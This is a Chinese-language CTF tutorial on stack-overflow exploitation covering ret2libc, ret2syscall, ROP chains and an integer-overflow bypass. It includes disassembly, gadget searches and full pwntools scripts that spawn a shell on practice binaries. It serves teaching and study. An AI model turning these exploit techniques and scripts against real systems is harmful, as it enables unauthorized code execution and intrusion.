二进制安全之栈溢出(下)
程序六 :ret2libc
IDA静态分析
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(&s); return 0; } .rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o .text:08048618 ; __unwind { ==>main函数的地址,用以中转 .text:08048618 push ebp .text:08048619 mov ebp, esp .text:0804867B mov [esp], eax ; s ==>设置断点 .text:0804867E call _gets
保护机制
➜ ret2libc1 checksec ret2libc1 [*] '/mnt/hgfs/ctf_debug/stack/ret2libc1/ret2libc1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
攻击脚本
from pwn import * context.arch = "i386" context.log_level = "debug" context.terminal = ["tmux","splitw","-h"] if len(sys.argv) < 2: debug = True else: debug = False if debug: p = process("./ret2libc1") elf = ELF("./ret2libc1") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") else: p = remote("x.x.x.x",xxxx) elf = ELF("./ret2libc1") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") def debugf(): gdb.attach(p,"b *0804867B") # 设置断点到gets之前 debugf() binsh = 0x08048720 puts_plt = elf.plt["puts"] ''' 注意到到当前程序中有puts函数,通过plt表找到puts函数的地址以准备leak puts在libc中的地址 这里不能使用got表,got里面的地址需要call。 ''' puts_got = elf.got["puts"] main_addr = 0x08048618 padding = 0x6c * "a" padding_ebp = 'junk' payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got) ''' main_addr:puts_plt的返回地址 puts_got:puts_plt的参数 ''' p.sendlineafter("RET2LIBC >_<\n",payload) puts_addr = u32(p.recv(4)) log.success("puts_addr : " + hex(puts_addr)) ''' 调用puts函数打印puts函数在libc中的地址 libc的地址为4个字节 ''' libc.address = puts_addr - libc.symbols["puts"] log.success("libc.address : " + hex(libc.address)) system_addr = libc.symbols["system"] ''' libc.symbol["puts"]为puts在libc中的offset 至此载入libc的基址 ''' log.success("system_addr : " + hex(system_addr)) ''' 如果程序本身没有/bin/sh的话 binsh = libc.search("/bin/sh").next() log.success("binsh : " + hex(binsh)) ''' padding = 0x64 * "a" payload = padding + padding_ebp + p32(system_addr) + 'junk' + p32(binsh) ''' 0x64 * "a" : 因为第二次寻址方式为ebp寻址,不用加8 这里的junk为p32(system_addr)的返回地址 ''' p.sendlineafter("RET2LIBC >_<\n",payload) p.interactive()
思路
泄露libc的地址需要使用libc中函数如puts函数的地址减去偏移量获得 调用puts_plt函数将puts_got的地址打印出来,puts_got的地址的地址即是libc中puts的地址 通过第一次溢出获得libc中puts的地址。构造一次循环,返回到main 通过puts的地址计算libc的地址,通过symbols从而得到system的地址 第二次计算padding的大小按照ebp寻址,直接为0×64,因为这时候直接返回到了ESP
调试
finish到main
查看栈布局 stack50

main得返回地址被正确填充为puts

进入got的puts函数,leak出的地址信息,查看当前的栈布局


再次跳转回main函数,发送payload
ebp被正确覆盖为junk,return被正确覆盖为system的地址,system函数的返回地址被覆盖为junk,参数成功覆盖成/bin/sh的地址
攻击脚本2(在程序段无/bin/sh的通用利用方式,向bss段写入/bin/sh)
from pwn import * context.arch = "i386" context.log_level = "debug" context.terminal = ["tmux","splitw","-h"] if len(sys.argv) < 2: debug = True else: debug = False if debug: p = process("./ret2libc1") elf = ELF("./ret2libc1") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") else: p = remote("x.x.x.x",xxxx) elf = ELF("./ret2libc1") libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") def debugf(): gdb.attach(p,"b *0804867B") puts_plt = elf.plt["puts"] puts_got = elf.got["puts"] gets_plt = elf.plt["gets"] main_addr = 0x08048618 bss_addr = 0x0804A064 padding = 0x6c * "a" padding_ebp = 'junk' payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendlineafter("RET2LIBC >_<\n",payload) puts_addr = u32(p.recv(4)) log.success("puts_addr : " + hex(puts_addr)) libc.address = puts_addr - libc.symbols["puts"] log.success("libc.address : " + hex(libc.address)) system_addr = libc.symbols["system"] log.success("system_addr : " + hex(system_addr)) padding = 0x64 * "a" payload = padding + padding_ebp + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr) p.sendlineafter("RET2LIBC >_<\n",payload) p.send("/bin/sh\n") p.interactive()
思路
寻找一片空闲的bss段区域 .bss:0804A060 ; main+9↑r .bss:0804A060 ; Alternative name is 'stdout' .bss:0804A060 ; Copy of shared data .bss:0804A064 completed_6591 db ? ; DATA XREF: __do_global_dtors_aux↑r .bss:0804A064 ; __do_global_dtors_aux+14↑w gets_plt用于向紧接着返回地址system_addr之后的p32(bss_addr)写入数据,返回到system_addr,执行最后的p32(bss_addr)
程序七 :ret2syacall & ropchain
对于静态编译程序
➜ speedrun ldd speedrun 不是动态可执行文件
在有栈溢出的时候,优先考虑ropchain的方法。
ret2syacall
IDA静态分析
查找字符串 .text:0000000000400B6B lea rdi, aAnyLastWords ; "c" 进入main函数 __int64 sub_400B60() { char buf; // [rsp+0h] [rbp-400h] sub_410390("Any last words?"); sub_4498A0(0, &buf, 0x7D0uLL); return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n"); } 索引到 __int64 sub_400BC1() ==>main函数 { const char *v0; // rdi sub_410590(off_6B97A0, 0LL, 2LL, 0LL); ==>setbuf v0 = "DEBUG"; if ( !sub_40E790("DEBUG") ) ==>setenv v0 = (const char *)5; sub_400B4D(v0); sub_400B60(); sub_400BAE(); return 0LL; } __int64 sub_400B4D() ==>puts { return sub_410390("Hello brave new challenger"); } __int64 sub_400B60() ==>printf { char buf; // [rsp+0h] [rbp-400h] sub_410390("Any last words?"); sub_4498A0(0, &buf, 0x7D0uLL); ==>read ,溢出点 return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n", &buf); ==>手动添加参数buf }
edit – keypatch修改alarm为nop,为了方便调试
根据函数的功能确定函数的类型
思路
设置断点 .text:0000000000400B60 ; __unwind { .text:0000000000400B60 push rbp .text:0000000000400B61 mov rbp, rsp .text:0000000000400B64 sub rsp, 400h .text:0000000000400B6B lea rdi, aAnyLastWords ; "Any last words?" .text:0000000000400B72 call sub_410390 .text:0000000000400B77 lea rax, [rbp+buf] .text:0000000000400B7E mov edx, 7D0h ; count .text:0000000000400B83 mov rsi, rax ; buf .text:0000000000400B86 mov edi, 0 ; fd .text:0000000000400B8B call sub_4498A0 ==>call read .text:0000000000400B90 lea rax, [rbp+buf] .text:0000000000400B97 mov rsi, rax ; char * .text:0000000000400B9A lea rdi, aThisWillBeTheL ; "This will be the last thing that you sa"... .text:0000000000400BA1 mov eax, 0 .text:0000000000400BA6 call sub_40F710 .text:0000000000400BAB nop .text:0000000000400BAC leave .text:0000000000400BAD retn .text:0000000000400BAD ; } // starts at 400B60 搜索syscall ➜ speedrun ROPgadget --binary speedrun --only 'int' Gadgets information ============================================================ 0x000000000046817a : int 0x80 Unique gadgets found: 1 寻找rop链 ➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rax 0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret ==pop_rax_rdx_rbx_ret 0x0000000000415664 : pop rax ; ret 0x000000000048cccb : pop rax ; ret 0x22 ➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdx 0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret 0x000000000044be14 : pop rdx ; pop r10 ; ret 0x0000000000481c77 : pop rdx ; pop rbx ; ret 0x000000000044be39 : pop rdx ; pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdi 0x0000000000402615 : pop rdi ; pop rbp ; ret 0x0000000000400686 : pop rdi ; ret ➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rsi 0x000000000044be39 : pop rdx ; pop rsi ; ret 0x0000000000402613 : pop rsi ; pop r15 ; pop rbp ; ret 0x0000000000400684 : pop rsi ; pop r15 ; ret 0x000000000040f95e : pop rsi ; pop rbp ; ret 0x00000000004101f3 : pop rsi ; ret read一个/bin/sh .text:00000000004498A0 ; __unwind { .text:00000000004498A0 mov eax, cs:dword_6BC80C .text:00000000004498A6 test eax, eax .text:00000000004498A8 jnz short loc_4498C0 .text:00000000004498AA xor eax, eax ==>read_addr .text:00000000004498AC syscall ; LINUX - sys_read .bss:00000000006BB3B2 db ? ; ==>binsh_addr .bss:00000000006BB3B3 db ? ; .bss:00000000006BB3B4 db ? ; .bss:00000000006BB3B5 db ? ; 构造rop链 payload = 0x400*'a' + 'junkjunk' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(read_addr) payload += p64(pop_rax_rdx_ret) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rdi_ret) + p64(bss_addr) + p
攻击脚本
from pwn import * context.log_level = "debug" context.arch = 'amd64' context.terminal =["tmux","splitw","-h"] if len(sys.argv)<2: debug =True else: debug =False if debug: p =process("./speedrun") else : p = remote("xxxx",xxx) def debugf(): gdb.attach(p,"b * 0x4498E2") # rax 0x3b # rdi /bin/sh # rsi NULL 0 # rdx NULL 0 pop_rax_rdx_rbx_ret = 0x481c76 pop_rdi_ret =0x400686 pop_rsi_ret =0x4101f3 #read_addr =0x4498A0 read_addr =0x4498AA syscall=0x46817a bss_addr = 0x6BB3B3 padding = 'a'*0x400 pop_rdx_ret =0x4498b5 #debugf() payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(0) +p64(pop_rsi_ret) + p64(bss_addr) +p64(pop_rdx_ret)+p64(0x8) # p64(0) is the para of p64(pop_rdi_ret),p64(bss_addr) is the para of p64(pop_rsi_ret)... payload += p64(read_addr) + p64(pop_rax_rdx_rbx_ret)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi_ret) + p64(bss_addr) +p64(pop_rsi_ret) payload += p64(0)+p64(syscall) p.sendafter("Any last words?\n",payload) p.send("/bin/sh\x00") p.interactive()
调试
read之后的栈布局

ropchain
寻找ropchain
ROPgadget –binary speedrun –ropchain
攻击脚本
from pwn import * if len(sys.argv)<2: debug =True else: debug =False if debug: p =process("./speedrun-001") else : p = remote("xxxx",xxx) def ropchanin(): from struct import pack # Padding goes here p = '' p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x0000000000415664) # pop rax ; ret p += '/bin//sh' p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f471) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000400686) # pop rdi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x00000000004101f3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x00000000004498b5) # pop rdx ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444bc0) # xor rax, rax ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004748c0) # add rax, 1 ; ret p += pack('<Q', 0x0000000000474e65) # syscall ; ret return p padding = 'a'*0x400 payload = padding + "junkjunk" + ropchanin() p.sendafter("Any last words?\n",payload) p.interactive()
程序八 :整型溢出
IDA静态分析
int __cdecl main() { int v1; // [esp+Ch] [ebp-Ch] setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("---------------------"); puts("~~ Welcome to CTF! ~~"); puts(" 1.Login "); puts(" 2.Exit "); puts("---------------------"); printf("Your choice:"); __isoc99_scanf("%d", &v1); if ( v1 == 1 ) { login(); } else { if ( v1 == 2 ) { puts("Bye~"); exit(0); } puts("Invalid Choice!"); } return 0; } int login() { char buf; // [esp+0h] [ebp-228h] char s; // [esp+200h] [ebp-28h] memset(&s, 0, 0x20u); memset(&buf, 0, 0x200u); puts("Please input your username:"); read(0, &s, 0x19u); printf("Hello %s\n", &s); puts("Please input your passwd:"); read(0, &buf, 0x199u); return check(&buf); } char *__cdecl check(char *s) { char *result; // eax char dest; // [esp+4h] [ebp-14h] unsigned __int8 v3; // [esp+Fh] [ebp] v3的大小为8位1个字节 v3 = strlen(s); //控制s为259 ==> 0x104 ==> v3=4 (v3只取s长度的最低位) if ( v3 <= 3u || v3 > 8u ) { puts("Invalid Password"); result = (char *)fflush(stdout); } else { puts("Success"); fflush(stdout); result = strcpy(&dest, s); //通过s覆盖dest ---> 覆盖返回值地址 } return result; }
查看保护机制
➜ login checksec login [*] '/mnt/hgfs/ctf_debug/stack/login/login' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可构造rop链
但是转而发现程序中提供了更简单的cat flag 函数
int sub_804868B() { return system("cat flag"); } .text:0804868B sub_804868B proc near .text:0804868B ; __unwind { .text:0804868B push ebp .text:0804868C mov ebp, esp .text:0804868E sub esp, 8 .text:08048691 sub esp, 0Ch .text:08048694 push offset command ; "cat flag" .text:08048699 call _system .text:0804869E add esp, 10h .text:080486A1 nop .text:080486A2 leave .text:080486A3 retn .text:080486A3 ; } // starts at 804868B
设置断点
.text:080486AD push [ebp+s] ; s .text:080486B0 call _strlen .text:080486B5 add esp, 10h .text:080486B8 mov [ebp+var_9], al ==>设置断点 .text:080486BB cmp [ebp+var_9], 3
攻击脚本
from pwn import * context.arch='i386' context.log_level = "debug" context.terminal =["tmux","splitw","-h"] if len(sys.argv)<2: debug =True else: debug=False if debug: p=process("./login") elf =ELF("./login") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") else : p=remote("Xxx.xxx.xxx.xx",xxx) elf =ELF("./login") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") def login(username,passwd): p.sendlineafter("Your choice:","1") p.sendlineafter("Please input your username:\n",username) p.sendlineafter("Please input your passwd:\n",passwd) def debugf(): gdb.attach(p,"b * 0x80486B8") debugf() cat_flag = 0x804868B offset = 0x100+0x4 payload = 'a'*0x14 + 'junk' + p32(cat_flag) payload = payload.ljust(offset,"a") login("chandler",payload)
print p.recvall()
这篇文章有点长啊,能看到这儿,知了姐先给你点个赞!希望大家都能坚持学习,为梦想前进!